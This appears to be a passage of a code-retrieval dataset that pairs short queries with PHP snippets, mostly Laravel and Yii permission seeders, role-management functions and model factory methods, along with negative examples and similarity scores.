}\n }\n return abort(403,config('yyxt.permission_deny'));\n }", "public function create_permission($permission_name, $permission_text)\n\t{\n\t\tglobal $gCms;\n\t\t$db = cms_db();\n\n\t\ttry\n\t\t{\n\t\t\t$query = \"SELECT permission_id FROM \".cms_db_prefix().\"permissions WHERE permission_name = ?\";\n\t\t\t$count = $db->GetOne($query, array($permission_name));\n\n\t\t\tif (intval($count) == 0)\n\t\t\t{\n\t\t\t\t$new_id = $db->GenID(cms_db_prefix().\"permissions_seq\");\n\t\t\t\t$time = $db->DBTimeStamp(time());\n\t\t\t\t$query = \"INSERT INTO \".cms_db_prefix().\"permissions (id, permission_name, permission_text, create_date, modified_date) VALUES (?,?,?,\".$time.\",\".$time.\")\";\n\t\t\t\t$db->Execute($query, array($new_id, $permission_name, $permission_text));\n\t\t\t}\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t//trigger_error(\"Could not run CreatePermission\", E_WARNING);\n\t\t}\n\t}", "public function run()\n {\n if(!Permission::where('name', '=', 'users_list')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'users_list', \n \t\t'description'=>'List Users']);\n }\n if(!Permission::where('name', '=', 'users_search')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'users_search', \n \t\t'description'=>'Search Users']);\n }\n if(!Permission::where('name', '=', 'user_edit')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'user_edit', \n \t\t'description'=>'Edit User']);\n }\n if(!Permission::where('name', '=', 'user_add')->count()){\n $admin = Permission::create([\n 'name'=>'user_add', \n 'description'=>'Add Users']);\n }\n\n if(!Permission::where('name', '=', 'roles_list')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'roles_list', \n \t\t'description'=>'List Roles']);\n }\n if(!Permission::where('name', '=', 'role_add')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_add', \n \t\t'description'=>'Add Role']);\n }\n if(!Permission::where('name', '=', 'role_edit')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_edit', \n \t\t'description'=>'Edit Role']);\n }\n if(!Permission::where('name', '=', 'role_delete')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_delete', \n \t\t'description'=>'Delete Role']);\n }\n\n if(!Permission::where('name', '=', 'menu_list')->count()){\n $admin = Permission::create([\n 'name'=>'menu_list', \n 'description'=>'List Menu']);\n }\n if(!Permission::where('name', '=', 'menu_add')->count()){\n $admin = Permission::create([\n 'name'=>'menu_add', \n 'description'=>'Add Menu']);\n }\n if(!Permission::where('name', '=', 'menu_edit')->count()){\n $admin = Permission::create([\n 'name'=>'menu_edit', \n 'description'=>'Edit Menu']);\n }\n if(!Permission::where('name', '=', 'menu_delete')->count()){\n $admin = Permission::create([\n 'name'=>'menu_delete', \n 'description'=>'Delete Menu']);\n }\n\n if(!Permission::where('name', '=', 'shops_list')->count()){\n $admin = Permission::create([\n 'name'=>'shops_list', \n 'description'=>'List Shops']);\n }\n if(!Permission::where('name', '=', 'shop_add')->count()){\n $admin = Permission::create([\n 'name'=>'shop_add', \n 'description'=>'Add Shop']);\n }\n if(!Permission::where('name', '=', 'shop_edit')->count()){\n $admin = Permission::create([\n 'name'=>'shop_edit', \n 'description'=>'Edit Shop']);\n }\n if(!Permission::where('name', '=', 'shop_delete')->count()){\n $admin = Permission::create([\n 'name'=>'shop_delete', \n 'description'=>'Delete Shop']);\n }\n\n if(!Permission::where('name', '=', 'orders_list')->count()){\n $admin = Permission::create([\n 'name'=>'orders_list', \n 'description'=>'List Orders']);\n }\n if(!Permission::where('name', '=', 'order_print')->count()){\n $admin = Permission::create([\n 'name'=>'order_print', \n 'description'=>'Print Order']);\n }\n }", "public function store(Request $request) {\n //Validate name and permissions field\n $this->validate($request, [\n 'name'=>'required|unique:roles|max:10',\n 'permissions' =>'required',\n ]\n );\n\n $name = $request['name'];\n $role = new Role();\n $role->name = $name;\n\n $permissions = $request['permissions'];\n\n $role->save();\n //Prolazak kroz petlju permissions\n foreach ($permissions as $permission) {\n $p = Permission::where('id', '=', $permission)->firstOrFail(); \n //poredi novu kreiranu rolu sa permissionom the newly created role and assign permission\n $role = Role::where('name', '=', $name)->first(); \n $role->givePermissionTo($p);\n }\n\n return redirect()->route('roles.index')\n ->with('flash_message',\n 'Role'. $role->name.' added!'); \n }", "function permissions_init()\n{\n // Get datbase setup - note that both pnDBGetConn() and pnDBGetTables()\n // return arrays but we handle them differently. For pnDBGetConn()\n // we currently just want the first item, which is the official\n // database handle. For pnDBGetTables() we want to keep the entire\n // tables array together for easy reference later on\n $dbconn =& pnDBGetConn(true);\n $pntable =& pnDBGetTables();\n\n // Create a new data dictionary object\n $dict = NewDataDictionary($dbconn);\n\n // Define any table specific options\n\t$taboptarray =& pnDBGetTableOptions();\n\n // It's good practice to name the table and column definitions you\n // are getting - $table and $column don't cut it in more complex\n // modules\n $grouppermstable = &$pntable['group_perms'];\n $grouppermscolumn = &$pntable['group_perms_column'];\n\n // Create the sql using adodb's data dictionary.\n\t// The formatting here is not mandatory, but it does\n // make the SQL statement relatively easy to read.\n $sql = \"\n\t\t\tpn_pid I(11) AUTO PRIMARY,\n\t\t\tpn_gid I(11) NOTNULL DEFAULT '0',\n\t\t\tpn_sequence I(11) NOTNULL DEFAULT '0',\n\t\t\tpn_realm I(4) NOTNULL DEFAULT '0',\n\t\t\tpn_component C(255) NOTNULL DEFAULT '',\n\t\t\tpn_instance C(255) NOTNULL DEFAULT '',\n\t\t\tpn_level I(4) NOTNULL DEFAULT '0',\n\t\t\tpn_bond I(2) NOTNULL DEFAULT '0'\n \";\n\t\n // create the data dictionaries SQL array\n\t// This array contains all the ncessary information to execute some sql \n\t// on any of the supported dbms platforms\n $sqlarray = $dict->CreateTableSQL($grouppermstable, $sql, $taboptarray);\n\n // Execute the sql that has been created\n $result = $dict->ExecuteSQLArray($sqlarray);\n\n // Check for an error with the database code, and if so set an\n // appropriate error message and return\n if ($result != 2) {\n pnSessionSetVar('errormsg', _CREATETABLEFAILED);\n return false;\n }\n\n // It's good practice to name the table and column definitions you\n // are getting - $table and $column don't cut it in more complex\n // modules\n $userpermstable = &$pntable['user_perms'];\n $userpermscolumn = &$pntable['user_perms_column'];\n\n // Create the sql using adodb's data dictionary.\n\t// The formatting here is not mandatory, but it does\n // make the SQL statement relatively easy to read.\n $sql = \"\n\t\t\tpn_pid I(11) PRIMARY AUTO,\n\t\t\tpn_uid I(11) NOTNULL DEFAULT '0',\n\t\t\tpn_sequence I(6) NOTNULL DEFAULT '0',\n\t\t\tpn_realm I(4) NOTNULL DEFAULT '0',\n\t\t\tpn_component C(255) NOTNULL DEFAULT '',\n\t\t\tpn_instance C(255) NOTNULL DEFAULT '',\n\t\t\tpn_level I(4) NOTNULL DEFAULT '0',\n\t\t\tpn_bond I(2) NOTNULL DEFAULT '0'\n \";\n\t\n // create the data dictionaries SQL array\n\t// This array contains all the ncessary information to execute some sql \n\t// on any of the supported dbms platforms\n $sqlarray = $dict->CreateTableSQL($userpermstable, $sql, $taboptarray);\n\n // Execute the sql that has been created\n $result = $dict->ExecuteSQLArray($sqlarray);\n\n // Check for an error with the database code, and if so set an\n // appropriate error message and return\n if ($result != 2) {\n pnSessionSetVar('errormsg', _CREATETABLEFAILED);\n return false;\n }\n\n // Create any default for this module\n\tpermissions_defaultdata();\n\n // Initialisation successful\n return true;\n}", "public function addRoutesToPermissionTable()\n {\n try {\n $permissionsRepo = repo('permissions');\n $permissionsRepo->insertModulePermissions($this->moduleName);\n } catch (\\Throwable $th) {\n // this wil silent the not found repository if there is no permissions repository \n }\n }", "public function create()\n {\n // if (! Gate::allows('users_manage')) {\n // return abort(401);\n // }\n return view('admin.permissions.create');\n }", "public function run()\n {\n $permission = Permission::where('slug', 'all-actions')->first();\n\n $role = new Role();\n $role->slug = 'super-admin';\n $role->name = 'Super Admin';\n $role->save();\n $role->permissions()->attach($permission);\n }", "private function create() {\n\t\t$id = $this->objAccessCrud->getId();\n\t\tif (!empty ( $id )) return;\n\t\t// Check if there are permission to execute delete command.\n\t\t$result = $this->clsAccessPermission->toCreat();\n\t\tif(!$result){\n\t\t\t$this->msg->setWarn(\"You don't have permission to create!\");\n\t\t\treturn;\n\t\t}\n\t\t// Execute insert.\n\t\t$this->objAccessCrud->setDateInsert(date(\"Y-m-d H:i:s\"));\n\t\t$id = $this->objAccessCrud->create ();\n\t\t// Check result.\n\t\tif ($id == 0) {\n \t\t\t$this->msg->setError ('There were issues on creating ther record!');\n\t\t\t\treturn;\n\t\t}\n\t\t// Save the id in the session to be used in the update.\n\t\t$_SESSION ['PK']['ACCESSCRUD'] = $id;\n\t\t\t\n\t\t$this->msg->setSuccess ( 'Created the record with success!' );\n\t\treturn;\n\t}", "public function run()\n {\n $manageUser = new Permission();\n $manageUser->name = 'Админка';\n $manageUser->slug = 'admin.panel';\n $manageUser->description = 'Доступ в админку';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Список пользователей';\n $manageUser->slug = 'admin.user.list';\n $manageUser->description = '';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Править польозвателей';\n $manageUser->slug = 'admin.user.edit';\n $manageUser->description = '';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Список ролей';\n $manageUser->slug = 'admin.role.list';\n $manageUser->description = '';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Править роли';\n $manageUser->slug = 'admin.role.edit';\n $manageUser->description = '';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Список прав';\n $manageUser->slug = 'admin.permission.list';\n $manageUser->description = '';\n $manageUser->save();\n\n $manageUser = new Permission();\n $manageUser->name = 'Править права';\n $manageUser->slug = 'admin.permission.edit';\n $manageUser->description = '';\n $manageUser->save();\n\n Permission::insert([\n ['slug' => 'admin.role.create', 'name' => 'Создать роль'],\n ['slug' => 'admin.role.delete', 'name' => 'Удалить роль'],\n ['slug' => 'admin.activity.list', 'name' => 'Список активности'],\n ['slug' => 'admin.social-badge.list', 'name' => 'Список социальных сетей'],\n ['slug' => 'admin.social-badge.edit', 'name' => 'Править список социальных сетей'],\n ]\n );\n }", "public function actionCreate()\n {\n $model = new PermissionForm();\n $post = Yii::$app->request->post();\n unset($this -> menuList[0]);\n if ($model->load($post) && $model->save()) {\n $model->menu_id = $post['PermissionForm']['menu_id'];\n $model->save();\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'menuList' => $this -> menuList,\n ]);\n }\n }", "protected function _initPermissions () {\r\n\r\n\t\t$bFreshData = false;\r\n\r\n\t\tif (self::$_bUseCache) {\r\n\t\t\t$oCacheManager = Kwgl_Cache::getManager();\r\n\t\t\t$oAclCache = $oCacheManager->getCache('acl');\r\n\r\n\t\t\tif (($aPermissionListing = $oAclCache->load(self::CACHE_IDENTIFIER_PERMISSIONS)) === false) {\r\n\t\t\t\t// Not Cached or Expired\r\n\r\n\t\t\t\t$bFreshData = true;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$bFreshData = true;\r\n\t\t}\r\n\r\n\t\tif ($bFreshData) {\r\n\t\t\t// Get Privileges from the Database\r\n\t\t\t$oDaoRoleResourcePrivilege = Kwgl_Db_Table::factory('System_Role_Resource_Privilege');\r\n\t\t\t//$aPermissionListing = $oDaoRoleResource->fetchAll();\r\n\t\t\t$aPermissionListing = $oDaoRoleResourcePrivilege->getPermissions();\r\n\r\n\t\t\tif (self::$_bUseCache) {\r\n\t\t\t\t$oAclCache->save($aPermissionListing, self::CACHE_IDENTIFIER_PERMISSIONS);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tforeach ($aPermissionListing as $aPermissionDetail) {\r\n\t\t\t$sRoleName = $aPermissionDetail['role_name'];\r\n\t\t\t$sResourceName = $aPermissionDetail['resource_name'];\r\n\t\t\t$sPrivilegeName = null;\r\n\t\t\tif (!is_null($aPermissionDetail['privilege_name'])) {\r\n\t\t\t\t$sPrivilegeName = $aPermissionDetail['privilege_name'];\r\n\t\t\t}\r\n\t\t\t$sPermissionType = $aPermissionDetail['permission'];\r\n\r\n\t\t\t// Check the Permission to see if you should allow or deny the Resource/Privilege to the Role\r\n\t\t\tswitch ($sPermissionType) {\r\n\t\t\t\tcase self::PERMISSION_TYPE_ALLOW:\r\n\t\t\t\t\t$this->allow($sRoleName, $sResourceName, $sPrivilegeName);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase self::PERMISSION_TYPE_DENY:\r\n\t\t\t\t\t$this->deny($sRoleName, $sResourceName, $sPrivilegeName);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function createPermission(Request $request) {\n $user_auth = Auth::user();\n if (!$user_auth) \n {\n return response()->json(['error'=>'Unauthorised'], 401);\n } \t\n\n $validator = Validator::make($request->all(), [ \n 'menu_id' => 'required', \n 'profile_id' => 'required',\n 'user_id' => 'required', \n 'view_flag' => 'required', \n 'add_flag' => 'required', \n 'edit_flag' => 'required', \n 'delete_flag' => 'required', \n \n ]);\n\n if ($validator->fails()) { \n return response()->json(['error'=>$validator->errors()], 401); \n }\n\n if (!tbl_menu::where('id', $request->menu_id)->exists()) \n {\n return response()->json(['error'=>'menu_id is not found.Enter Valid menu_id'], 404); \n }\n if (!tbl_profile::where('id', $request->profile_id)->exists()) \n {\n return response()->json(['error'=>'profile_id is not found.Enter Valid profile_id'], 404); \n }\n if (!User::where('id', $request->user_id)->exists()) \n {\n return response()->json(['error'=>'user_id is not found.Enter Valid user_id'], 404); \n }\n\n\n\n\t $tbl_permission = new tbl_permission;\n\t $tbl_permission->menu_id = $request->menu_id;\n\t $tbl_permission->profile_id = $request->profile_id;\n\t $tbl_permission->user_id = $request->user_id;\n\t $tbl_permission->view_flag = $request->view_flag;\n\t $tbl_permission->add_flag = $request->add_flag;\n\t $tbl_permission->edit_flag = $request->edit_flag;\n\t $tbl_permission->delete_flag = $request->delete_flag;\n\t $tbl_permission->save();\n\n\t return response()->json([\"message\" => \"permission record created\"], 201);\n\t \n }", "private static function create()\n {\n getDb()->putUser(1, self::getDefaultAttributes());\n }", "public function action_create4()\r\n\t{\r\n\t\t\t//{\r\n\t\t\t$role=Model_Role::forge(array('name'=>'tate'))\t;\r\n\t\t\t$role->save();die;\t\t\t\r\n\t\t\t\r\n\t\techo -1;die;\r\n\t}", "public function testPolicyPermissions()\n {\n // User of super admin role always has permission\n $role = factory(\\App\\Models\\Role::class)->make(['name' => 'Admin']);\n $this->roleRepository->create($role);\n $admin = $this->createUser(['role' => $role]);\n $this->assertTrue($admin->isSuperAdmin());\n $this->assertTrue($admin->can('create', User::class));\n\n // User of normal role does not have permission ...\n $user = $this->createUser();\n $this->assertFalse($user->isSuperAdmin());\n $this->assertFalse($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n\n // ... even if it has module permission ..\n $role = $user->getRole();\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'use-access-module'));\n $this->assertTrue($user->can('access', 'module'));\n $this->assertFalse($user->can('master', 'module'));\n $this->assertFalse($user->can('create', User::class));\n\n // ... until final permission is added\n $this->roleRepository->addPermission($role, $this->permissionRepository->findBy('name', 'user-create'));\n $this->assertTrue($user->can('create', User::class));\n $this->assertFalse($user->can('list', User::class));\n }", "public function addPermission() {\n try {\n if (!($this->permission instanceof Base_Model_ObtorLib_App_Core_Doc_Entity_Permission)) {\n throw new Base_Model_ObtorLib_App_Core_Doc_Exception(\" Permission Entity not intialized\");\n } else {\n $objPermission = new Base_Model_ObtorLib_App_Core_Doc_Dao_Permission();\n $objPermission->permission = $this->permission;\n return $objPermission->addPermission();\n }\n } catch (Exception $ex) {\n throw new Base_Model_ObtorLib_App_Core_Doc_Exception($ex);\n }\n }", "public function create()\n {\n $data['permissions'] = $this->permissionRepo->all(['id', 'display_name']);\n\n $this->theme->breadcrumb()->add('Create', route('backend.role.create.get'));\n return $this->theme->scope('role.create', $data)->render();\n }", "public function run()\n {\n DB::table('permission_role')->insert([\n 'permission_id' => '7',\n 'role_id' => '1'\n ]);\n }", "public function create()\n {\n $this->authorize('create', Permission::class);\n\n return view('laralum_permissions::create');\n }", "public function run()\n {\n foreach (['campaign', 'character', 'location', 'quest', 'note', 'user', 'role', 'journal'] as $type) {\n Permission::create(['name' => $type]);\n }\n }", "public function run()\n\t{\n\t\t\\DB::table('permissions')->truncate();\n \n\t\t\\DB::table('permissions')->insert(array (\n\t\t\t0 => \n\t\t\tarray (\n\t\t\t\t'id' => 1,\n\t\t\t\t'name' => 'Super User',\n\t\t\t\t'value' => 'superuser',\n\t\t\t\t'description' => 'All permissions',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t1 => \n\t\t\tarray (\n\t\t\t\t'id' => 2,\n\t\t\t\t'name' => 'List Users',\n\t\t\t\t'value' => 'view-users-list',\n\t\t\t\t'description' => 'View the list of users',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t2 => \n\t\t\tarray (\n\t\t\t\t'id' => 3,\n\t\t\t\t'name' => 'Create user',\n\t\t\t\t'value' => 'create-user',\n\t\t\t\t'description' => 'Create new user',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t3 => \n\t\t\tarray (\n\t\t\t\t'id' => 4,\n\t\t\t\t'name' => 'Delete user',\n\t\t\t\t'value' => 'delete-user',\n\t\t\t\t'description' => 'Delete a user',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t4 => \n\t\t\tarray (\n\t\t\t\t'id' => 5,\n\t\t\t\t'name' => 'Update user',\n\t\t\t\t'value' => 'update-user-info',\n\t\t\t\t'description' => 'Update a user profile',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t5 => \n\t\t\tarray (\n\t\t\t\t'id' => 6,\n\t\t\t\t'name' => 'Update user group',\n\t\t\t\t'value' => 'user-group-management',\n\t\t\t\t'description' => 'Add/Remove a user in a group',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t6 => \n\t\t\tarray (\n\t\t\t\t'id' => 7,\n\t\t\t\t'name' => 'Groups management',\n\t\t\t\t'value' => 'groups-management',\n\t\t\t'description' => 'Manage group (CRUD)',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t\t7 => \n\t\t\tarray (\n\t\t\t\t'id' => 8,\n\t\t\t\t'name' => 'Permissions management',\n\t\t\t\t'value' => 'permissions-management',\n\t\t\t'description' => 'Manage permissions (CRUD)',\n\t\t\t\t'created_at' => '2014-08-19 06:48:54',\n\t\t\t\t'updated_at' => '2014-08-19 06:48:54',\n\t\t\t),\n\t\t));\n\t}", "protected function getPermission(){\n if(Session::getKey(\"loggedIn\")):\n $userPermissions = array();\n $userPermission = Session::getKey(\"level\");\n if($userPermission[0]) { // tiene permiso para crear\n $userPermissions[] = \"create\";\n }\n if($userPermission[1]) { // tiene permiso para crear\n $userPermissions[] = \"read\";\n }\n if($userPermission[2]) { // tiene permiso para crear\n $userPermissions[] = \"update\";\n }\n if($userPermission[3]) { // tiene permiso para crear\n $userPermissions[] = \"delete\";\n }\n return $userPermissions; \n else:\n return false;\n endif;\n }" ]
[ "0.7266535", "0.70852256", "0.6770905", "0.6679757", "0.6638299", "0.6605578", "0.6424127", "0.6300269", "0.61647624", "0.6162225", "0.6151295", "0.6124995", "0.61164635", "0.61069655", "0.61039", "0.60979253", "0.60945404", "0.608623", "0.60631067", "0.60524756", "0.6046296", "0.6044304", "0.60200167", "0.60135406", "0.6011532", "0.59813726", "0.59630036", "0.59630036", "0.59630036", "0.59630036", "0.59630036", "0.59606063", "0.59566146", "0.59549856", "0.59511924", "0.5932082", "0.5930103", "0.59171134", "0.5909582", "0.59091", "0.5896862", "0.5896216", "0.58870775", "0.5883981", "0.58734316", "0.5869595", "0.58588684", "0.5848244", "0.5821017", "0.58188", "0.581778", "0.5814202", "0.58115435", "0.5790533", "0.57861435", "0.5774907", "0.57725817", "0.5767645", "0.57644624", "0.5743209", "0.5739652", "0.573244", "0.57283884", "0.5723202", "0.5720493", "0.5720493", "0.571956", "0.571944", "0.57036424", "0.5700862", "0.570062", "0.5699941", "0.5699372", "0.56924516", "0.56870604", "0.5682903", "0.56827253", "0.56798124", "0.56757087", "0.56724894", "0.5659522", "0.5653904", "0.5651734", "0.5646562", "0.564435", "0.5641455", "0.56337905", "0.5633278", "0.56323016", "0.5631237", "0.56289697", "0.562804", "0.5625076", "0.5623772", "0.5617196", "0.5616562", "0.5608292", "0.56066084", "0.56065804", "0.56060123", "0.55874926" ]
0.0
-1
Specify Model class name
public function model() { return Rba::class; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function getModelName()\n {\n if (isset($this->options[\"type\"])) {\n $type = ucfirst($this->options[\"type\"]);\n $class = \"\\\\app\\\\models\\\\feeds\\\\\" . $type;\n if (class_exists($class)) {\n return $class;\n }\n }\n \n return \"\\\\app\\\\models\\\\\" . $this->objectName;\n }", "public function getModelNameBasedOnClassName(): string\n {\n $fqn = explode(\"\\\\\", get_class($this));\n\n return strtolower(end($fqn));\n }", "public static function model($className=__CLASS__)\r\n\t{\r\n return parent::className();\r\n\t}", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) { return parent::model($className); }", "static public function model($className = __CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n \treturn parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) \n { \n return parent::model($className); \n }", "public static function model($className=__CLASS__) \n { \n return parent::model($className); \n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model ($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n\treturn parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) \n\t{\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public function getModelClass(): string\n {\n return static::${'modelClass'};\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model($className = __CLASS__) {\r\n return parent::model($className);\r\n }", "public static function model ($className = __CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__){\n return parent::model($className);\n }", "public static function model($className = __CLASS__){\n return parent::model($className);\n }", "public function getModelClass();", "public function getModelClass();", "public function getModelClass();", "public static function model($className = __CLASS__) {\n return parent::model( $className );\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }" ]
[ "0.768929", "0.76618075", "0.7585344", "0.7583571", "0.7583571", "0.7542252", "0.75075734", "0.74778146", "0.74702877", "0.74578375", "0.74578375", "0.7453601", "0.7453601", "0.7447208", "0.7444998", "0.7435527", "0.74304074", "0.7416409", "0.74128395", "0.74125767", "0.74125767", "0.74125767", "0.741222", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.7407984", "0.740793", "0.74018055", "0.7400949", "0.739494", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.73907846", "0.7390499", "0.7390499", "0.7384692", "0.7384692", "0.7384692", "0.7384692", "0.7384692", "0.7384692", "0.7383603", "0.7379902", "0.7379902", "0.73766464", "0.73766464", "0.73766464", "0.73750174", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766", "0.7373766" ]
0.0
-1
Get data rba update
public function getRbaUpdate($id, $status, $kodeRba) { $rba = Rba::where('id', $id) ->where('status_anggaran_id', $status) ->where('kode_rba', $kodeRba) ->first(); return $rba; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
